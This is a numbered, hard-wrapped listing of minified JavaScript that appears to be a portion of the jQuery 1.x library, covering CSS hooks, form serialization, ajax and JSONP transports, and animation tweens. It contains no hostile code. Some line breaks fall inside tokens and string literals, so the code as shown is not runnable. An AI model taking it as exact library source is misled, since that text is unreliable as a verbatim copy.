  1356. (u,l)),s=x.cssHooks[n]||x.cssHooks[l],r===t)return s&&"get"in s&&(o=s.get(e,!1,i))!==t?o:u[n];if(a=typeof
  1357.  
  1358. r,"string"===a&&(o=Jt.exec(r))&&(r=(o[1]+1)*o[2]+parseFloat(x.css(e,n)),a="number"),!
  1359.  
  1360. (null==r||"number"===a&&isNaN(r)||("number"!==a||x.cssNumber[l]||(r
  1361.  
  1362. +="px"),x.support.clearCloneStyle||""!==r||0!==n.indexOf("background")||(u[n]="inherit"),s&&"set"in s&&
  1363.  
  1364. (r=s.set(e,r,i))===t)))try{u[n]=r}catch(c){}}},css:function(e,n,r,i){var o,a,s,l=x.camelCase(n);return n=x.cssProps
  1365.  
  1366. [l]||(x.cssProps[l]=tn(e.style,l)),s=x.cssHooks[n]||x.cssHooks[l],s&&"get"in s&&(a=s.get(e,!0,r)),a===t&&
  1367.  
  1368. (a=Wt(e,n,i)),"normal"===a&&n in Kt&&(a=Kt[n]),""===r||r?(o=parseFloat(a),r===!0||x.isNumeric(o)?o||
  1369.  
  1370. 0:a):a}}),e.getComputedStyle?(Rt=function(t){return e.getComputedStyle(t,null)},Wt=function(e,n,r){var
  1371.  
  1372. i,o,a,s=r||Rt(e),l=s?s.getPropertyValue(n)||s[n]:t,u=e.style;return s&&(""!==l||x.contains
  1373.  
  1374. (e.ownerDocument,e)||(l=x.style(e,n)),Yt.test(l)&&Ut.test(n)&&
  1375.  
  1376. (i=u.width,o=u.minWidth,a=u.maxWidth,u.minWidth=u.maxWidth=u.width=l,l=s.width,u.width=i,u.minWidth=
  1377.  
  1378. o,u.maxWidth=a)),l}):a.documentElement.currentStyle&&(Rt=function(e){return e.currentStyle},Wt=function
  1379.  
  1380. (e,n,r){var i,o,a,s=r||Rt(e),l=s?s[n]:t,u=e.style;return null==l&&u&&u[n]&&(l=u[n]),Yt.test(l)&&!zt.test(n)&&
  1381.  
  1382. (i=u.left,o=e.runtimeStyle,a=o&&o.left,a&&
  1383.  
  1384. (o.left=e.currentStyle.left),u.left="fontSize"===n?"1em":l,l=u.pixelLeft+"px",u.left=i,a&&
  1385.  
  1386. (o.left=a)),""===l?"auto":l});function on(e,t,n){var r=Vt.exec(t);return r?Math.max(0,r[1]-(n||0))+(r[2]||"px"):t}
  1387.  
  1388. function an(e,t,n,r,i){var o=n===(r?"border":"content")?4:"width"===t?1:0,a=0;for(;4>o;o+=2)"margin"===n&&
  1389.  
  1390. (a+=x.css(e,n+Zt[o],!0,i)),r?("content"===n&&(a-=x.css(e,"padding"+Zt[o],!0,i)),"margin"!==n&&(a-=x.css
  1391.  
  1392. (e,"border"+Zt[o]+"Width",!0,i))):(a+=x.css(e,"padding"+Zt[o],!0,i),"padding"!==n&&(a+=x.css(e,"border"+Zt
  1393.  
  1394. [o]+"Width",!0,i)));return a}function sn(e,t,n){var r=!0,i="width"===t?e.offsetWidth:e.offsetHeight,o=Rt
  1395.  
  1396. (e),a=x.support.boxSizing&&"border-box"===x.css(e,"boxSizing",!1,o);if(0>=i||null==i){if(i=Wt(e,t,o),(0>i||
  1397.  
  1398. null==i)&&(i=e.style[t]),Yt.test(i))return i;r=a&&(x.support.boxSizingReliable||i===e.style[t]),i=parseFloat
  1399.  
  1400. (i)||0}return i+an(e,t,n||(a?"border":"content"),r,o)+"px"}function ln(e){var t=a,n=Gt[e];return n||(n=un
  1401.  
  1402. (e,t),"none"!==n&&n||(Pt=(Pt||x("<iframe frameborder='0' width='0' height='0'/>").css("cssText","display:block
  1403.  
  1404. !important")).appendTo(t.documentElement),t=(Pt[0].contentWindow||Pt
  1405.  
  1406. [0].contentDocument).document,t.write("<!doctype html><html><body>"),t.close(),n=un(e,t),Pt.detach()),Gt
  1407.  
  1408. [e]=n),n}function un(e,t){var n=x(t.createElement(e)).appendTo(t.body),r=x.css(n[0],"display");return
  1409.  
  1410. n.remove(),r}x.each(["height","width"],function(e,n){x.cssHooks[n]={get:function(e,r,i){return r?
  1411.  
  1412. 0===e.offsetWidth&&Xt.test(x.css(e,"display"))?x.swap(e,Qt,function(){return sn(e,n,i)}):sn
  1413.  
  1414. (e,n,i):t},set:function(e,t,r){var i=r&&Rt(e);return on(e,t,r?an(e,n,r,x.support.boxSizing&&"border-
  1415.  
  1416. box"===x.css(e,"boxSizing",!1,i),i):0)}}}),x.support.opacity||(x.cssHooks.opacity={get:function(e,t){return
  1417.  
  1418. It.test((t&&e.currentStyle?e.currentStyle.filter:e.style.filter)||"")?.01*parseFloat(RegExp.
  1419.  
  1420. $1)+"":t?"1":""},set:function(e,t){var n=e.style,r=e.currentStyle,i=x.isNumeric(t)?"alpha(opacity="+100*t
  1421.  
  1422. +")":"",o=r&&r.filter||n.filter||"";n.zoom=1,(t>=1||""===t)&&""===x.trim(o.replace($t,""))
  1423.  
  1424. &&n.removeAttribute&&(n.removeAttribute("filter"),""===t||r&&!r.filter)||(n.filter=$t.test(o)?o.replace
  1425.  
  1426. ($t,i):o+" "+i)}}),x(function(){x.support.reliableMarginRight||(x.cssHooks.marginRight={get:function(e,n){return
  1427.  
  1428. n?x.swap(e,{display:"inline-block"},Wt,[e,"marginRight"]):t}}),!
  1429.  
  1430. x.support.pixelPosition&&x.fn.position&&x.each(["top","left"],function(e,n){x.cssHooks[n]={get:function(e,r)
  1431.  
  1432. {return r?(r=Wt(e,n),Yt.test(r)?x(e).position()[n]+"px":r):t}}})}),x.expr&&x.expr.filters&&
  1433.  
  1434. (x.expr.filters.hidden=function(e){return 0>=e.offsetWidth&&0>=e.offsetHeight||!
  1435.  
  1436. x.support.reliableHiddenOffsets&&"none"===(e.style&&e.style.display||x.css
  1437.  
  1438. (e,"display"))},x.expr.filters.visible=function(e){return!x.expr.filters.hidden(e)}),x.each
  1439.  
  1440. ({margin:"",padding:"",border:"Width"},function(e,t){x.cssHooks[e+t]={expand:function(n){var r=0,i=
  1441.  
  1442. {},o="string"==typeof n?n.split(" "):[n];for(;4>r;r++)i[e+Zt[r]+t]=o[r]||o[r-2]||o[0];return i}},Ut.test(e)||
  1443.  
  1444. (x.cssHooks[e+t].set=on)});var cn=/%20/g,pn=/\[\]$/,fn=/\r?\n/g,dn=/^(?:submit|button|image|reset|
  1445.  
  1446. file)$/i,hn=/^(?:input|select|textarea|keygen)/i;x.fn.extend({serialize:function(){return x.param
  1447.  
  1448. (this.serializeArray())},serializeArray:function(){return this.map(function(){var e=x.prop
  1449.  
  1450. (this,"elements");return e?x.makeArray(e):this}).filter(function(){var e=this.type;return this.name&&!x
  1451.  
  1452. (this).is(":disabled")&&hn.test(this.nodeName)&&!dn.test(e)&&(this.checked||!Ct.test(e))}).map(function
  1453.  
  1454. (e,t){var n=x(this).val();return null==n?null:x.isArray(n)?x.map(n,function(e){return
  1455.  
  1456. {name:t.name,value:e.replace(fn,"\r\n")}}):{name:t.name,value:n.replace(fn,"\r\n")}}).get
  1457.  
  1458. ()}}),x.param=function(e,n){var r,i=[],o=function(e,t){t=x.isFunction(t)?t():null==t?"":t,i[i.length]
  1459.  
  1460. =encodeURIComponent(e)+"="+encodeURIComponent(t)};if(n===t&&
  1461.  
  1462. (n=x.ajaxSettings&&x.ajaxSettings.traditional),x.isArray(e)||e.jquery&&!x.isPlainObject(e))x.each(e,function()
  1463.  
  1464. {o(this.name,this.value)});else for(r in e)gn(r,e[r],n,o);return i.join("&").replace(cn,"+")};function gn(e,t,n,r){var
  1465.  
  1466. i;if(x.isArray(t))x.each(t,function(t,i){n||pn.test(e)?r(e,i):gn(e+"["+("object"==typeof i?t:"")+"]",i,n,r)});else if
  1467.  
  1468. (n||"object"!==x.type(t))r(e,t);else for(i in t)gn(e+"["+i+"]",t[i],n,r)}x.each("blur focus focusin focusout load
  1469.  
  1470. resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter
  1471.  
  1472. mouseleave change select submit keydown keypress keyup error contextmenu".split(" "),function(e,t){x.fn[t]
  1473.  
  1474. =function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),x.fn.extend({hover:function(e,t)
  1475.  
  1476. {return this.mouseenter(e).mouseleave(t||e)},bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function
  1477.  
  1478. (e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n)
  1479.  
  1480. {return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)}});var mn,yn,vn=x.now(),bn=/\?/,xn=/#.*
  1481.  
  1482. $/,wn=/([?&])_=[^&]*/,Tn=/^(.*?):[ \t]*([^\r\n]*)\r?$/gm,Cn=/^(?:about|app|app-storage|.+-extension|file|
  1483.  
  1484. res|widget):$/,Nn=/^(?:GET|HEAD)$/,kn=/^\/\//,En=/^([\w.+-]+:)(?:\/\/([^\/?#:]*)(?::(\d
  1485.  
  1486. +)|)|)/,Sn=x.fn.load,An={},jn={},Dn="*/".concat("*");try{yn=o.href}catch(Ln){yn=a.createElement
  1487.  
  1488. ("a"),yn.href="",yn=yn.href}mn=En.exec(yn.toLowerCase())||[];function Hn(e){return function(t,n){"string"!
  1489.  
  1490. =typeof t&&(n=t,t="*");var r,i=0,o=t.toLowerCase().match(T)||[];if(x.isFunction(n))while(r=o[i++])"+"===r[0]?
  1491.  
  1492. (r=r.slice(1)||"*",(e[r]=e[r]||[]).unshift(n)):(e[r]=e[r]||[]).push(n)}}function qn(e,n,r,i){var o=
  1493.  
  1494. {},a=e===jn;function s(l){var u;return o[l]=!0,x.each(e[l]||[],function(e,l){var c=l(n,r,i);return"string"!=typeof
  1495.  
  1496. c||a||o[c]?a?!(u=c):t:(n.dataTypes.unshift(c),s(c),!1)}),u}return s(n.dataTypes[0])||!o["*"]&&s("*")}function
  1497.  
  1498. _n(e,n){var r,i,o=x.ajaxSettings.flatOptions||{};for(i in n)n[i]!==t&&((o[i]?e:r||(r={}))[i]=n[i]);return
  1499.  
  1500. r&&x.extend(!0,e,r),e}x.fn.load=function(e,n,r){if("string"!=typeof e&&Sn)return Sn.apply(this,arguments);var
  1501.  
  1502. i,o,a,s=this,l=e.indexOf(" ");return l>=0&&(i=e.slice(l,e.length),e=e.slice(0,l)),x.isFunction(n)?
  1503.  
  1504. (r=n,n=t):n&&"object"==typeof n&&(a="POST"),s.length>0&&x.ajax
  1505.  
  1506. ({url:e,type:a,dataType:"html",data:n}).done(function(e){o=arguments,s.html(i?x("<div>").append
  1507.  
  1508. (x.parseHTML(e)).find(i):e)}).complete(r&&function(e,t){s.each(r,o||[e.responseText,t,e])}),this},x.each
  1509.  
  1510. (["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(e,t){x.fn[t]=function
  1511.  
  1512. (e){return this.on(t,e)}}),x.extend({active:0,lastModified:{},etag:{},ajaxSettings:
  1513.  
  1514. {url:yn,type:"GET",isLocal:Cn.test(mn[1]),global:!0,processData:!0,async:!0,contentType:"application/x-www-
  1515.  
  1516. form-urlencoded; charset=UTF-8",accepts:{"*":Dn,text:"text/plain",html:"text/html",xml:"application/xml,
  1517.  
  1518. text/xml",json:"application/json, text/javascript"},contents:
  1519.  
  1520. {xml:/xml/,html:/html/,json:/json/},responseFields:
  1521.  
  1522. {xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text
  1523.  
  1524. json":x.parseJSON,"text xml":x.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?_n
  1525.  
  1526. (_n(e,x.ajaxSettings),t):_n(x.ajaxSettings,e)},ajaxPrefilter:Hn(An),ajaxTransport:Hn(jn),ajax:function(e,n)
  1527.  
  1528. {"object"==typeof e&&(n=e,e=t),n=n||{};var r,i,o,a,s,l,u,c,p=x.ajaxSetup({},n),f=p.context||p,d=p.context&&
  1529.  
  1530. (f.nodeType||f.jquery)?x(f):x.event,h=x.Deferred(),g=x.Callbacks("once memory"),m=p.statusCode||{},y={},v=
  1531.  
  1532. {},b=0,w="canceled",C={readyState:0,getResponseHeader:function(e){var t;if(2===b){if(!c){c={};while
  1533.  
  1534. (t=Tn.exec(a))c[t[1].toLowerCase()]=t[2]}t=c[e.toLowerCase()]}return null==t?
  1535.  
  1536. null:t},getAllResponseHeaders:function(){return 2===b?a:null},setRequestHeader:function(e,t){var
  1537.  
  1538. n=e.toLowerCase();return b||(e=v[n]=v[n]||e,y[e]=t),this},overrideMimeType:function(e){return b||
  1539.  
  1540. (p.mimeType=e),this},statusCode:function(e){var t;if(e)if(2>b)for(t in e)m[t]=[m[t],e[t]];else C.always(e
  1541.  
  1542. [C.status]);return this},abort:function(e){var t=e||w;return u&&u.abort(t),k(0,t),this}};if(h.promise
  1543.  
  1544. (C).complete=g.add,C.success=C.done,C.error=C.fail,p.url=((e||p.url||yn)+"").replace(xn,"").replace(kn,mn
  1545.  
  1546. [1]+"//"),p.type=n.method||n.type||p.method||p.type,p.dataTypes=x.trim(p.dataType||"*").toLowerCase
  1547.  
  1548. ().match(T)||[""],null==p.crossDomain&&(r=En.exec(p.url.toLowerCase()),p.crossDomain=!(!r||r[1]===mn[1]
  1549.  
  1550. &&r[2]===mn[2]&&(r[3]||("http:"===r[1]?"80":"443"))===(mn[3]||("http:"===mn
  1551.  
  1552. [1]?"80":"443")))),p.data&&p.processData&&"string"!=typeof p.data&&(p.data=x.param
  1553.  
  1554. (p.data,p.traditional)),qn(An,p,n,C),2===b)return C;l=p.global,l&&0===x.active++&&x.event.trigger
  1555.  
  1556. ("ajaxStart"),p.type=p.type.toUpperCase(),p.hasContent=!Nn.test(p.type),o=p.url,p.hasContent||(p.data&&
  1557.  
  1558. (o=p.url+=(bn.test(o)?"&":"?")+p.data,delete p.data),p.cache===!1&&(p.url=wn.test(o)?o.replace
  1559.  
  1560. (wn,"$1_="+vn++):o+(bn.test(o)?"&":"?")+"_="+vn++)),p.ifModified&&(x.lastModified[o]
  1561.  
  1562. &&C.setRequestHeader("If-Modified-Since",x.lastModified[o]),x.etag[o]&&C.setRequestHeader("If-None-
  1563.  
  1564. Match",x.etag[o])),(p.data&&p.hasContent&&p.contentType!==!1||n.contentType)&&C.setRequestHeader
  1565.  
  1566. ("Content-Type",p.contentType),C.setRequestHeader("Accept",p.dataTypes[0]&&p.accepts[p.dataTypes[0]]?
  1567.  
  1568. p.accepts[p.dataTypes[0]]+("*"!==p.dataTypes[0]?", "+Dn+"; q=0.01":""):p.accepts["*"]);for(i in p.headers)
  1569.  
  1570. C.setRequestHeader(i,p.headers[i]);if(p.beforeSend&&(p.beforeSend.call(f,C,p)===!1||2===b))return C.abort
  1571.  
  1572. ();w="abort";for(i in{success:1,error:1,complete:1})C[i](p[i]);if(u=qn(jn,p,n,C)){C.readyState=1,l&&d.trigger
  1573.  
  1574. ("ajaxSend",[C,p]),p.async&&p.timeout>0&&(s=setTimeout(function(){C.abort("timeout")},p.timeout));try
  1575.  
  1576. {b=1,u.send(y,k)}catch(N){if(!(2>b))throw N;k(-1,N)}}else k(-1,"No Transport");function k(e,n,r,i){var
  1577.  
  1578. c,y,v,w,T,N=n;2!==b&&(b=2,s&&clearTimeout(s),u=t,a=i||"",C.readyState=e>0?4:0,c=e>=200&&300>e||
  1579.  
  1580. 304===e,r&&(w=Mn(p,C,r)),w=On(p,w,C,c),c?(p.ifModified&&(T=C.getResponseHeader("Last-Modified"),T&&
  1581.  
  1582. (x.lastModified[o]=T),T=C.getResponseHeader("etag"),T&&(x.etag[o]=T)),204===e||"HEAD"===p.type?
  1583.  
  1584. N="nocontent":304===e?N="notmodified":(N=w.state,y=w.data,v=w.error,c=!v)):(v=N,(e||!N)&&
  1585.  
  1586. (N="error",0>e&&(e=0))),C.status=e,C.statusText=(n||N)+"",c?h.resolveWith(f,[y,N,C]):h.rejectWith(f,
  1587.  
  1588. [C,N,v]),C.statusCode(m),m=t,l&&d.trigger(c?"ajaxSuccess":"ajaxError",[C,p,c?y:v]),g.fireWith(f,[C,N]),l&&
  1589.  
  1590. (d.trigger("ajaxComplete",[C,p]),--x.active||x.event.trigger("ajaxStop")))}return C},getJSON:function(e,t,n)
  1591.  
  1592. {return x.get(e,t,n,"json")},getScript:function(e,n){return x.get(e,t,n,"script")}}),x.each(["get","post"],function
  1593.  
  1594. (e,n){x[n]=function(e,r,i,o){return x.isFunction(r)&&(o=o||i,i=r,r=t),x.ajax
  1595.  
  1596. ({url:e,type:n,dataType:o,data:r,success:i})}});function Mn(e,n,r){var i,o,a,s,l=e.contents,u=e.dataTypes;while
  1597.  
  1598. ("*"===u[0])u.shift(),o===t&&(o=e.mimeType||n.getResponseHeader("Content-Type"));if(o)for(s in l)if(l[s]
  1599.  
  1600. &&l[s].test(o)){u.unshift(s);break}if(u[0]in r)a=u[0];else{for(s in r){if(!u[0]||e.converters[s+" "+u[0]])
  1601.  
  1602. {a=s;break}i||(i=s)}a=a||i}return a?(a!==u[0]&&u.unshift(a),r[a]):t}function On(e,t,n,r){var i,o,a,s,l,u=
  1603.  
  1604. {},c=e.dataTypes.slice();if(c[1])for(a in e.converters)u[a.toLowerCase()]=e.converters[a];o=c.shift();while(o)if
  1605.  
  1606. (e.responseFields[o]&&(n[e.responseFields[o]]=t),!l&&r&&e.dataFilter&&(t=e.dataFilter
  1607.  
  1608. (t,e.dataType)),l=o,o=c.shift())if("*"===o)o=l;else if("*"!==l&&l!==o){if(a=u[l+" "+o]||u["* "+o],!a)for(i in u)if
  1609.  
  1610. (s=i.split(" "),s[1]===o&&(a=u[l+" "+s[0]]||u["* "+s[0]])){a===!0?a=u[i]:u[i]!==!0&&(o=s[0],c.unshift(s
  1611.  
  1612. [1]));break}if(a!==!0)if(a&&e["throws"])t=a(t);else try{t=a(t)}catch(p){return{state:"parsererror",error:a?p:"No
  1613.  
  1614. conversion from "+l+" to "+o}}}return{state:"success",data:t}}x.ajaxSetup({accepts:{script:"text/javascript,
  1615.  
  1616. application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/(?:java|ecma)
  1617.  
  1618. script/},converters:{"text script":function(e){return x.globalEval(e),e}}}),x.ajaxPrefilter("script",function(e)
  1619.  
  1620. {e.cache===t&&(e.cache=!1),e.crossDomain&&(e.type="GET",e.global=!1)}),x.ajaxTransport("script",function
  1621.  
  1622. (e){if(e.crossDomain){var n,r=a.head||x("head")[0]||a.documentElement;return{send:function(t,i)
  1623.  
  1624. {n=a.createElement("script"),n.async=!0,e.scriptCharset&&
  1625.  
  1626. (n.charset=e.scriptCharset),n.src=e.url,n.onload=n.onreadystatechange=function(e,t){(t||!
  1627.  
  1628. n.readyState||/loaded|complete/.test(n.readyState))&&
  1629.  
  1630. (n.onload=n.onreadystatechange=null,n.parentNode&&n.parentNode.removeChild(n),n=null,t||i
  1631.  
  1632. (200,"success"))},r.insertBefore(n,r.firstChild)},abort:function(){n&&n.onload(t,!0)}}}});var Fn=[],Bn=/(=)\?(?
  1633.  
  1634. =&|$)|\?\?/;x.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=Fn.pop()||x.expando+"_"+vn+
  1635.  
  1636. +;return this[e]=!0,e}}),x.ajaxPrefilter("json jsonp",function(n,r,i){var o,a,s,l=n.jsonp!==!1&&(Bn.test
  1637.  
  1638. (n.url)?"url":"string"==typeof n.data&&!(n.contentType||"").indexOf("application/x-www-form-urlencoded")
  1639.  
  1640. &&Bn.test(n.data)&&"data");return l||"jsonp"===n.dataTypes[0]?(o=n.jsonpCallback=x.isFunction
  1641.  
  1642. (n.jsonpCallback)?n.jsonpCallback():n.jsonpCallback,l?n[l]=n[l].replace(Bn,"$1"+o):n.jsonp!==!1&&(n.url+=
  1643.  
  1644. (bn.test(n.url)?"&":"?")+n.jsonp+"="+o),n.converters["script json"]=function(){return s||x.error(o+" was not
  1645.  
  1646. called"),s[0]},n.dataTypes[0]="json",a=e[o],e[o]=function(){s=arguments},i.always(function(){e[o]=a,n[o]&&
  1647.  
  1648. (n.jsonpCallback=r.jsonpCallback,Fn.push(o)),s&&x.isFunction(a)&&a(s[0]),s=a=t}),"script"):t});var Pn,Rn,Wn=0,
  1649.  
  1650. $n=e.ActiveXObject&&function(){var e;for(e in Pn)Pn[e](t,!0)};function In(){try{return new e.XMLHttpRequest}
  1651.  
  1652. catch(t){}}function zn(){try{return new e.ActiveXObject("Microsoft.XMLHTTP")}catch(t){}}
  1653.  
  1654. x.ajaxSettings.xhr=e.ActiveXObject?function(){return!this.isLocal&&In()||zn()}:In,Rn=x.ajaxSettings.xhr
  1655.  
  1656. (),x.support.cors=!!Rn&&"withCredentials"in Rn,Rn=x.support.ajax=!!Rn,Rn&&x.ajaxTransport(function(n){if(!
  1657.  
  1658. n.crossDomain||x.support.cors){var r;return{send:function(i,o){var a,s,l=n.xhr();if(n.username?l.open
  1659.  
  1660. (n.type,n.url,n.async,n.username,n.password):l.open(n.type,n.url,n.async),n.xhrFields)for(s in n.xhrFields)l[s]
  1661.  
  1662. =n.xhrFields[s];n.mimeType&&l.overrideMimeType&&l.overrideMimeType(n.mimeType),n.crossDomain||i
  1663.  
  1664. ["X-Requested-With"]||(i["X-Requested-With"]="XMLHttpRequest");try{for(s in i)l.setRequestHeader(s,i[s])}
  1665.  
  1666. catch(u){}l.send(n.hasContent&&n.data||null),r=function(e,i){var s,u,c,p;try{if(r&&(i||4===l.readyState))if
  1667.  
  1668. (r=t,a&&(l.onreadystatechange=x.noop,$n&&delete Pn[a]),i)4!==l.readyState&&l.abort();else{p=
  1669.  
  1670. {},s=l.status,u=l.getAllResponseHeaders(),"string"==typeof l.responseText&&(p.text=l.responseText);try
  1671.  
  1672. {c=l.statusText}catch(f){c=""}s||!n.isLocal||n.crossDomain?1223===s&&(s=204):s=p.text?200:404}}catch(d){i||o
  1673.  
  1674. (-1,d)}p&&o(s,c,p,u)},n.async?4===l.readyState?setTimeout(r):(a=++Wn,$n&&(Pn||(Pn={},x(e).unload($n)),Pn
  1675.  
  1676. [a]=r),l.onreadystatechange=r):r()},abort:function(){r&&r(t,!0)}}}});var Xn,Un,Vn=/^(?:toggle|show|
  1677.  
  1678. hide)$/,Yn=RegExp("^(?:([+-])=|)("+w+")([a-z%]*)$","i"),Jn=/queueHooks$/,Gn=[nr],Qn={"*":[function(e,t){var
  1679.  
  1680. n=this.createTween(e,t),r=n.cur(),i=Yn.exec(t),o=i&&i[3]||(x.cssNumber[e]?"":"px"),a=(x.cssNumber
  1681.  
  1682. [e]||"px"!==o&&+r)&&Yn.exec(x.css(n.elem,e)),s=1,l=20;if(a&&a[3]!==o){o=o||a[3],i=i||[],a=+r||1;do
  1683.  
  1684. s=s||".5",a/=s,x.style(n.elem,e,a+o);while(s!==(s=n.cur()/r)&&1!==s&&--l)}return i&&(a=n.start=+a||+r||
  1685.  
  1686. 0,n.unit=o,n.end=i[1]?a+(i[1]+1)*i[2]:+i[2]),n}]};function Kn(){return setTimeout(function(){Xn=t}),Xn=x.now()}
  1687.  
  1688. function Zn(e,t,n){var r,i=(Qn[t]||[]).concat(Qn["*"]),o=0,a=i.length;for(;a>o;o++)if(r=i[o].call(n,t,e))return r}
  1689.  
  1690. function er(e,t,n){var r,i,o=0,a=Gn.length,s=x.Deferred().always(function(){delete l.elem}),l=function(){if(i)
  1691.  
  1692. return!1;var t=Xn||Kn(),n=Math.max(0,u.startTime+u.duration-t),r=n/u.duration||0,o=1-
  1693.  
  1694. r,a=0,l=u.tweens.length;for(;l>a;a++)u.tweens[a].run(o);return s.notifyWith(e,[u,o,n]),1>o&&l?n:
  1695.  
  1696. (s.resolveWith(e,[u]),!1)},u=s.promise({elem:e,props:x.extend({},t),opts:x.extend(!0,{specialEasing:
  1697.  
  1698. {}},n),originalProperties:t,originalOptions:n,startTime:Xn||Kn(),duration:n.duration,tweens:
  1699.  
  1700. [],createTween:function(t,n){var r=x.Tween(e,u.opts,t,n,u.opts.specialEasing[t]||u.opts.easing);return
  1701.  
  1702. u.tweens.push(r),r},stop:function(t){var n=0,r=t?u.tweens.length:0;if(i)return this;for(i=!0;r>n;n++)u.tweens
  1703.  
  1704. [n].run(1);return t?s.resolveWith(e,[u,t]):s.rejectWith(e,[u,t]),this}}),c=u.props;for(tr
  1705.  
  1706. (c,u.opts.specialEasing);a>o;o++)if(r=Gn[o].call(u,e,c,u.opts))return r;return x.map(c,Zn,u),x.isFunction
  1707.  
  1708. (u.opts.start)&&u.opts.start.call(e,u),x.fx.timer(x.extend(l,{elem:e,anim:u,queue:u.opts.queue})),u.progress
  1709.  
  1710. (u.opts.progress).done(u.opts.done,u.opts.complete).fail(u.opts.fail).always(u.opts.always)}function tr(e,t)
  1711.  
  1712. {var n,r,i,o,a;for(n in e)if(r=x.camelCase(n),i=t[r],o=e[n],x.isArray(o)&&(i=o[1],o=e[n]=o[0]),n!==r&&(e[r]
  1713.  
  1714. =o,delete e[n]),a=x.cssHooks[r],a&&"expand"in a){o=a.expand(o),delete e[r];for(n in o)n in e||(e[n]=o[n],t[n]
  1715.  
  1716. =i)}else t[r]=i}x.Animation=x.extend(er,{tweener:function(e,t){x.isFunction(e)?(t=e,e=["*"]):e=e.split(" ");var
  1717.  
  1718. n,r=0,i=e.length;for(;i>r;r++)n=e[r],Qn[n]=Qn[n]||[],Qn[n].unshift(t)},prefilter:function(e,t){t?Gn.unshift
  1719.  
  1720. (e):Gn.push(e)}});function nr(e,t,n){var r,i,o,a,s,l,u=this,c={},p=e.style,f=e.nodeType&&nn(e),d=x._data
  1721.  
  1722. (e,"fxshow");n.queue||(s=x._queueHooks(e,"fx"),null==s.unqueued&&
  1723.  
  1724. (s.unqueued=0,l=s.empty.fire,s.empty.fire=function(){s.unqueued||l()}),s.unqueued++,u.always(function()
  1725.  
  1726. {u.always(function(){s.unqueued--,x.queue(e,"fx").length||s.empty.fire()})})),1===e.nodeType&&("height"in
  1727.  
  1728. t||"width"in t)&&(n.overflow=[p.overflow,p.overflowX,p.overflowY],"inline"===x.css(e,"display")
  1729.  
  1730. &&"none"===x.css(e,"float")&&(x.support.inlineBlockNeedsLayout&&"inline"!==ln(e.nodeName)?
  1731.  
  1732. p.zoom=1:p.display="inline-block")),n.overflow&&(p.overflow="hidden",x.support.shrinkWrapBlocks||
  1733.  
  1734. u.always(function(){p.overflow=n.overflow[0],p.overflowX=n.overflow[1],p.overflowY=n.overflow[2]}));for(r in
  1735.  
  1736. t)if(i=t[r],Vn.exec(i)){if(delete t[r],o=o||"toggle"===i,i===(f?"hide":"show"))continue;c[r]=d&&d[r]||x.style
  1737.  
  1738. (e,r)}if(!x.isEmptyObject(c)){d?"hidden"in d&&(f=d.hidden):d=x._data(e,"fxshow",{}),o&&(d.hidden=!f),f?x
  1739.  
  1740. (e).show():u.done(function(){x(e).hide()}),u.done(function(){var t;x._removeData(e,"fxshow");for(t in c)
  1741.  
  1742. x.style(e,t,c[t])});for(r in c)a=Zn(f?d[r]:0,r,u),r in d||(d[r]=a.start,f&&
  1743.  
  1744. (a.end=a.start,a.start="width"===r||"height"===r?1:0))}}function rr(e,t,n,r,i){return new rr.prototype.init
  1745.  
  1746. (e,t,n,r,i)}x.Tween=rr,rr.prototype={constructor:rr,init:function(e,t,n,r,i,o)
  1747.  
  1748. {this.elem=e,this.prop=n,this.easing=i||"swing",this.options=t,this.start=this.now=this.cur
  1749.  
  1750. (),this.end=r,this.unit=o||(x.cssNumber[n]?"":"px")},cur:function(){var e=rr.propHooks[this.prop];return
  1751.  
  1752. e&&e.get?e.get(this):rr.propHooks._default.get(this)},run:function(e){var t,n=rr.propHooks[this.prop];return
  1753.  
  1754. this.pos=t=this.options.duration?x.easing[this.easing]
  1755.  
  1756. (e,this.options.duration*e,0,1,this.options.duration):e,this.now=(this.end-this.start)*t
  1757.  
  1758. +this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set
  1759.  
  1760. (this):rr.propHooks._default.set(this),this}},rr.prototype.init.prototype=rr.prototype,rr.propHooks={_default:
  1761.  
  1762. {get:function(e){var t;return null==e.elem[e.prop]||e.elem.style&&null!=e.elem.style[e.prop]?(t=x.css
  1763.  
  1764. (e.elem,e.prop,""),t&&"auto"!==t?t:0):e.elem[e.prop]},set:function(e){x.fx.step[e.prop]?x.fx.step[e.prop]
  1765.  
  1766. (e):e.elem.style&&(null!=e.elem.style[x.cssProps[e.prop]]||x.cssHooks[e.prop])?x.style
  1767.  
  1768. (e.elem,e.prop,e.now+e.unit):e.elem[e.prop]=e.now}}},rr.propHooks.scrollTop=rr.propHooks.scrollLeft=
  1769.  
  1770. {set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},x.each
  1771.  
  1772. (["toggle","show","hide"],function(e,t){var n=x.fn[t];x.fn[t]=function(e,r,i){return null==e||"boolean"==typeof
  1773.  
  1774. e?n.apply(this,arguments):this.animate(ir(t,!0),e,r,i)}}),x.fn.extend({fadeTo:function(e,t,n,r){return this.filter
  1775.  
  1776. (nn).css("opacity",0).show().end().animate({opacity:t},e,n,r)},animate:function(e,t,n,r){var i=x.isEmptyObject
  1777.  
  1778. (e),o=x.speed(t,n,r),a=function(){var t=er(this,x.extend({},e),o);(i||x._data(this,"finish"))&&t.stop(!0)};return
  1779.  
  1780. a.finish=a,i||o.queue===!1?this.each(a):this.queue(o.queue,a)},stop:function(e,n,r){var i=function(e){var
  1781.  
  1782. t=e.stop;delete e.stop,t(r)};return"string"!=typeof e&&(r=n,n=e,e=t),n&&e!==!1&&this.queue(e||"fx",
  1783.  
  1784. []),this.each(function(){var t=!0,n=null!=e&&e+"queueHooks",o=x.timers,a=x._data(this);if(n)a[n]&&a
  1785.  
